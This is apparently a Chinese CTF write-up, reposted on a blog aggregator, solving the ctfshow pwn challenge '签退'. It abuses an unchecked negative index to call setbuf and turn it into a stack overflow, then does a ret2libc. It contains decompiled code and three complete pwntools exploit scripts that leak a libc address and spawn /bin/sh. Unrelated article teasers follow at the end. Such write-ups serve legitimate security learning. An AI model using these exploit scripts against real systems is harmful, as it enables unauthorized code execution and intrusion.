基于setbuf的ret2libc

事情的起因还要说到qwb的那道flagmarket,在mis师傅告诉我他是用的setbuf做出来之后我蒙了一下,之前没接触到过,于是决定抽时间看一下这种攻击办法,搜索之后觉得很有趣(当然如果实际遇到了估计不有趣),而且怎么说呢,感觉这一题应用的面比较窄,要在特殊环境下才能使用,先简单阐述一下原理

1、原理

这是setbuf函数

#include <stdio.h> 
void setbuf(FILE *stream, char *buffer);

可以看到接受两个参数

  • stream:指向 FILE 结构的指针,指定要设置缓冲区的流(如 stdinstdout 等)。
  • buffer:指向字符数组的指针,该数组将作为流的缓冲区。若为 NULL,则关闭该流的缓冲(即无缓冲)。
    它是
    这么说有点抽象。简而言之就是由这个函数可以将一个指定打开的文件与一个数组缓冲区绑定,使得在对该文件做修改是同时对这块缓冲区做修改,同时它并不是一次性的,而是连续性的,也就是说第一次写入n个字节,第二次再写入n个字节,最后缓冲区在解除绑定之前会被写入2n字节,欸,也就是说,我们可以在读入有限的情况下,通过对两个本身都不会溢出的地区操作,从而会使一个缓冲区溢出进行各种操作

当然从这段也可以看出来应用条件还是比较窄,但是一旦能够实现,得到的优势也是非常可观的

2、题目

ctfshow的签退
看源码:

int vuln()
{int v0; // eaxFILE *stream; // [esp+Ch] [ebp-53Ch]int v3; // [esp+10h] [ebp-538h]_BYTE v4[1328]; // [esp+18h] [ebp-530h] BYREFv3 = 0;memset(v4, 0, 0x528u);stream = fopen("/dev/null", "a");if ( !stream )wrong();startcon();sleep(2u);while ( !v3 ){choice();v0 = inputint();if ( v0 == 2 ){delete((int)v4);}else if ( v0 > 2 ){if ( v0 == 3 ){post((int)v4, stream);}else if ( v0 == 4 ){v3 = 1;}}else if ( v0 == 1 ){add(v4);}}puts("Thank you for using our service :)");fclose(stream);return 0;
}
int __cdecl add(int a1)
{int i; // [esp+Ch] [ebp-Ch]for ( i = 0; i <= 4 && *(_DWORD *)(264 * i + a1); ++i );if ( i == 5 )return puts("Too many letters :P");printf("\nInput your contents: ");*(_DWORD *)(264 * i + a1 + 4) = sub_80486D9(264 * i + a1 + 8, 256);*(_DWORD *)(264 * i + a1) = 1;return puts("\nDone!");
}
int __cdecl delete(int a1)
{unsigned int v2; // [esp+Ch] [ebp-Ch]puts("\nWhich letter do you want to delete?");printf("ID (0-%d): ", 4);v2 = inputint();if ( v2 > 4 || !*(_DWORD *)(264 * v2 + a1) )return puts("Invalid ID.");*(_DWORD *)(264 * v2 + a1) = 0;*(_DWORD *)(264 * v2 + a1 + 4) = 0;memset((void *)(264 * v2 + a1 + 8), 0, 0x100u);return puts("\nDone!");
}
int __cdecl post(int a1, FILE *s)
{int v3; // [esp+8h] [ebp-10h]unsigned int v4; // [esp+Ch] [ebp-Ch]puts("\nWhich letter do you want to post?");printf("ID (0-%d): ", 4);v4 = inputint();if ( v4 > 4 || !*(_DWORD *)(264 * v4 + a1) )return puts("Invalid ID.");puts("\nWhich filter do you want to apply?");sub_80488F8();v3 = inputint();if ( v3 > 2 )return puts("Invalid filter.");funcs_8048BB5[v3](s, (void *)(264 * v4 + a1 + 8), *(_DWORD *)(264 * v4 + a1 + 4));return puts("\nDone!");
}

主要起作用的就是这些,我在IDA中进行了重命名
首先vuln函数起到一个类似选项表单的作用,通过调用add,delete,post函数实现,这个add就是自动将一块缓冲区add一个content,这样的缓冲区有五个,同时为了后面的函数去识别方便,在每次写入时对每个数组前八字节进行了利用(上标记为1和return的值),也就是说每个实际能写入的数组大小为0x100,知道这个之后我们再看post,有个操作是对输入的选项进行匹配到实现函数的数组中

.data:0804B048 funcs_8048BB5   dd offset sub_8048742   ; DATA XREF: post+A2↑r
.data:0804B04C                 dd offset sub_8048770
.data:0804B050                 dd offset sub_80487E2
.data:0804B050 _data           ends
.data:0804B050

这是分别对应实现 No filter、XOR filter、 Reverse filter的操作

size_t __cdecl sub_8048742(FILE *s, void *ptr, size_t n)
{size_t v4; // [esp+Ch] [ebp-Ch]v4 = fwrite(ptr, 1u, n, s);if ( v4 != n )wrong();return v4;
}

这又是对应No filter也就是不过滤的操作,可以看到与我们之前说的对流和缓冲区的操作非常像,同时注意到post函数并未对数组越界(其实是负数下溢)做检查,那我们就能看到在这个数组溢出的下列其实就是一堆函数的got表

.got.plt:0804B000 off_804B000     dd offset stru_804AF14  ; DATA XREF: _init_proc+9↑o
.got.plt:0804B000                                         ; init+9↑o ...
.got.plt:0804B004 dword_804B004   dd 0                    ; DATA XREF: sub_80484A0↑r
.got.plt:0804B008 dword_804B008   dd 0                    ; DATA XREF: sub_80484A0+6↑r
.got.plt:0804B00C off_804B00C     dd offset setbuf        ; DATA XREF: _setbuf↑r
.got.plt:0804B010 off_804B010     dd offset printf        ; DATA XREF: _printf↑r
.got.plt:0804B014 off_804B014     dd offset _exit         ; DATA XREF: __exit↑r
.got.plt:0804B018 off_804B018     dd offset fgets         ; DATA XREF: _fgets↑r
.got.plt:0804B01C off_804B01C     dd offset fclose        ; DATA XREF: _fclose↑r
.got.plt:0804B020 off_804B020     dd offset sleep         ; DATA XREF: _sleep↑r
.got.plt:0804B024 off_804B024     dd offset fwrite        ; DATA XREF: _fwrite↑r
.got.plt:0804B028 off_804B028     dd offset fread         ; DATA XREF: _fread↑r
.got.plt:0804B02C off_804B02C     dd offset puts          ; DATA XREF: _puts↑r
.got.plt:0804B030 off_804B030     dd offset __libc_start_main
.got.plt:0804B030                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0804B034 off_804B034     dd offset fopen         ; DATA XREF: _fopen↑r
.got.plt:0804B038 off_804B038     dd offset memset        ; DATA XREF: _memset↑r
.got.plt:0804B03C off_804B03C     dd offset atoi          ; DATA XREF: _atoi↑r
.got.plt:0804B03C _got_plt        ends
.got.plt:0804B03C

这里恰好有setbuf函数,计划通。

其实从上面看到下面可以发现思路似乎非常流畅和自然,也没有什么不好理解的地方,但是实际到比赛,光是注意到可以有数组越界和setbuf函数以及对他们进行操作实现ret2libc是一个非常难的问题,因为函数比较多也比较复杂,

可以看到找到思路就是这一题最难的部分,其实后面的调试都比较简单,那么我们先add满这个数组,对一个和第二个数组写payload,因为第五个数组距离栈底最近,我们可以用这个栈溢出,一个数组大小0x108,加上ebp就是0x10c,同时一个数组最多写0x100,我们post出去的也是0x100,第一个填充满0x100垃圾数据,第二个填充0xc的数据,然后去写常规ret2libc(用puts泄露就可以),然后退出(这个注意,有个细节),然后重复最后执行systembinsh即可

3、具体做法

首先写第一次payload:
b'a'*0x10c+p32(puts_plt)+p32(main)+p32(puts_got)
主要对应add5次,post4到-15(第五个数组作为setbuf的参数),然后post0、1到0执行fwrite进题目fopen的文件a中,在执行setbuf时就会将payload写入
在调试时发现栈溢出时要多溢出一个字节才行

from pwn import *
#setbuf
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#print(hex(elf.got['setbuf']))
main=0x08048bd0
gdb.attach(p)
pause()def add(content):p.sendlineafter('>', b'1')p.sendlineafter(':', content)def delete(index):p.sendlineafter('>', b'2')p.sendlineafter(':', str(index).encode())def post(index, filter):p.sendlineafter('>', b'3')p.sendlineafter(':', str(index).encode())p.sendlineafter('>', str(filter).encode())def quit():p.sendlineafter('>', b'4')p.recvuntil(b'4. Quit')payload0 = b'a' * 0x100
add(payload0)
payload1 = b'a' * 0xc + p32(puts_plt) + p32(main) + p32(puts_got) 
add(payload1)
add('\x00')
add('\x00')
add('\x00')
post(4,-15)
post(0,0)
post(1,0)
pause()
p.interactive()

2025下半年学习/attachments/Pasted image 20251022165956.png

可以看到ebo+4处是0xd0080485,我们希望的是0x8048530

所以在后面还要加一个字节,然后关于这个qiut的事,因为这个程序有一个while的循环,在循环终止之前它一定会jump到一个local重新执行,要想成功栈溢出就必须要leaveret,因此在这里还是要退出。
然后后面就是很寻常的leaklibc然后ret2libc了
最终exp(个人简陋版,因为当时没写函数):

from pwn import *
from LibcSearcher import LibcSearcher
#setbuf
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#print(hex(elf.got['setbuf']))
main=0x08048bd0
#gdb.attach(p)
#pause()#leak libc
p.recvuntil(b'4. Quit')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'a'*0x100)	#0
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
payload=b'a'*0xc+b'0'+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload)	#1
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#2
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#3
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#4
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'4')
p.recvuntil(b'> ')
p.sendline(b'-15')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'4')
#pause()
p.recvuntil(b':)')
puts=u32(p.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
success(f"system->0x{system:x}")# again
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'a'*0x100)	#0
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
payload=b'a'*0xc+b'0'+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)	#1
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#2
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#3
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'contents:')
p.sendline(b'\x00')	#4
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'4')
p.recvuntil(b'> ')
p.sendline(b'-15')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'ID (0-4): ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'4')#pause()
p.interactive()

还有参考了一个大佬的exp(包括文章思路也是复现的他)

from pwn import *
from LibcSearcher import LibcSearcher
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'def add(content):sh.sendlineafter('>', b'1')sh.sendafter(':', content)def delete(index):sh.sendlineafter('>', b'2')sh.sendlineafter(':', str(index).encode())def post(index, filter):sh.sendlineafter('>', b'3')sh.sendlineafter(':', str(index).encode())sh.sendlineafter('>', str(filter).encode())def quit():sh.sendlineafter('>', b'4')elf = ELF('./pwn')
#sh = remote('pwn.challenge.ctf.show', 0)
sh = process('./pwn')
filter_list = 0x0804b048
got_setbuf = elf.got['setbuf']plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
main = 0x08048bd0# 把所有POST都申请出来
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 9 + p32(0) + p32(plt_puts) + p32(main) + p32(got_puts) + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')setbuf_index = int((got_setbuf - filter_list) / 4)
# 将letter4绑定到fd上
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()
a = sh.recvline()
print(a)
global_puts = u32(sh.recv(4))
print("++++++++++++++++puts: ", hex(global_puts))
# 计算libc的基址
libc = LibcSearcher('puts',global_puts)
libc_base = global_puts - libc.dump('puts')
# 计算system("/bin/sh")所需的地址
global_system = libc_base + libc.dump('system')
global_binsh = libc_base + libc.dump('str_bin_sh')# 重新来一遍
payload0 = b'0' * 0x100
add(payload0)
payload1 = b'0' * 13 + p32(global_system) + p32(global_binsh) * 4 + b'\n'
add(payload1)
add('2222\n')
add('3333\n')
add('4444\n')setbuf_index = int((got_setbuf - filter_list) / 4)
post(4, setbuf_index)
post(0, 0)
post(1, 0)
quit()sh.interactive()

getshell拿flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943549.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

终于开通博客啦!

🎉🎉🎉🎉🎉 恭喜开通博客!

工业主板:智慧工业时代的 “硬核大脑”

在工业 4.0 与智能制造深度融合的今天,从汽车工厂的自动化产线到医院的精密影像设备,从城市的智能交通系统到云端的数据边缘节点,各类工业设备的高效运转都离不开一枚核心硬件的支撑——工业主板。作为工业计算机的…

C++函数重载与函数模板

C++函数重载与函数模板一、C++函数重载在现实的代码编写当中,有时候对于同一个功能函数,可能处理的对象类型不同,则需要重新实现一遍这个函数,这样下去就显得代码更加繁多,C++为了解决这一问题,而采用函数重载来…

2025 年冷凝器源头厂家最新推荐榜:优选凸显高真空稳定运行优势,助力企业精准选购平板/片式/方形/搪瓷方形/搪瓷方形平板冷凝器厂家推荐

引言 在化工、生物制药、食品等关键领域,冷凝器作为核心换热设备,其性能优劣直接关系到企业生产效率、运营安全与成本控制。当前市场中,传统冷凝器普遍存在爆瓷率高、换热效率低、耐温差能力弱等问题,部分设备在高…

WPS内部版

在办公软件发展史中,WPS与微软Office的博弈堪称经典案例。若非历史性市场策略因素影响,WPS本可能主导全球文档处理市场。即便经历商业竞争波折,当前WPS仍凭借其技术实力占据国内半壁江山,其"国产办公生态领航…

2025 年管道生产厂家最新推荐排行榜:聚焦多行业适配需求,甄选技术领先、口碑优良的企业搪玻璃/搪瓷三通/搪瓷塔节/搪瓷弯头管道厂家推荐

引言 在化工、生物制药、市政工程、新能源等关键领域,管道作为物料传输与系统运行的核心部件,其质量与性能直接决定生产安全、效率及成本控制效果。当前市场中,管道产品品类繁杂,部分产品存在耐腐蚀性不足、适配性…

npm ERR! chromedriver@2.46.0 install: `node install.js`

npm install chromedriver --chromedriver_cdnurl=http://cdn.npm.taobao.org/dist/chromedriver学而不思则罔,思而不学则殆!

Java 实现 MySQL 同机 异机自动备份到 MinIO(附完整代码)

📦 Java 实现 MySQL 同机 & 异机自动备份到 MinIO(附完整代码)一句话总结:通过 mysqldump + .my.cnf 安全凭据 + SSH/SFTP + MinIO,实现一套通用、安全、自动化的 MySQL 备份方案,支持本地和远程数据库。�…

为什么现在入行 Salesforce 更难了?真相在这里

Salesforce 的就业市场正在发生一场“无声洗牌”。 根据 10K 最新发布的《2025 Salesforce 生态报告》,全球 Salesforce 岗位需求正在回升,但与此同时,入行门槛也在快速上升。企业不再满足于“会配置”“能写代码”…

Android 资源适配踩坑记:为什么我的设备匹配不上对应的 `values-wXXXdp-hXXXdp`?

一、问题背景 最近在做项目适配时,我遇到了一个非常诡异的问题: 我的应用需要适配不同尺寸的手表屏幕,因此我在 res/ 目录下为不同设备准备了多份 dimens.xml 文件,例如: res/├── values/├── values-w320dp…

Acrobat Pro DC 2025.001.20813绿色版

软件介绍 Acrobat DC 2025破解版PDF编辑软件Adobe Acrobat Pro DC 2025绿色便携版是Adobe公司继Acrobat XI之后推出的又一款全新PDF文件编辑转换软件.Acrobat Pro DC中文版配有直观触控式界面及强大的新功能,能将任何纸…

微信小程序学习(二) - 实践

微信小程序学习(二) - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

费用流(直接应用)

1.概念 所有最大可行流中费用的最小/最大值上图中的最小费用最大流就是15 每条边都有一个权值w,这条边如果流量是c,那么这条边的费用就是c*w 2.求法 把EK算法中的bfs函数换成spfa求源点到汇点的一条最短路即可 模板(普…

jsoup解析本地html网页到本地——Document、Element、select应用

对于以下网页:<!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scal…

深入解析:服务器被攻击了怎么办

深入解析:服务器被攻击了怎么办pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&qu…

2025 年10月深圳市激光雕刻机厂家解析,基于专业技术及市场分析

随着智能制造与文创产业的深度融合,激光雕刻机市场呈现稳步增长态势。行业数据显示,2024 年国内激光雕刻机市场规模预计突破 900 亿元,年复合增长率保持在 8% 以上。深圳市作为国内激光装备产业的核心集聚地,凭借完…

2025年比较好的离心风机,防爆风机厂家推荐及采购指南

# 2025年比较好的离心风机、防爆风机厂家推荐及采购指南 随着工业技术的不断发展,离心风机和防爆风机在化工、石油、冶金、电力等行业中的应用越来越广泛。2025年,市场对高性能、高安全性风机的需求持续增长,因此选…

Maven 不建议 利用 systemPath 引用本地文件jar

推荐通过 Maven 仓库管理依赖,而非直接引用本地 JAR。具体步骤如下: 1. 将 test-common 作为独立模块安装到本地仓库 如果 test-common 是你自己的项目(非第三方 JAR),先将其安装到本地 Maven 仓库,再通过常规依…

QT实现DockWidget内部组件自动换行布局

主要功能概述 当DockWidget窗口大小改变时,内部的按钮能够自动重新排列,以最佳方式利用可用空间。具体表现为: 1. 当水平空间足够时,按钮排成一行 2. 当水平空间不足时,按钮自动换行 程序环境Python 3.8.9 pyside…

2025年知名的工业防锈漆厂家最新推荐榜 - Di

# 2025年知名的工业防锈漆厂家最新推荐榜工业防锈漆作为保护金属构件免受腐蚀的重要材料,在建筑、船舶、桥梁、石油化工等领域发挥着不可替代的作用。随着环保要求的提高和技术的进步,2025年的工业防锈漆市场呈现出向…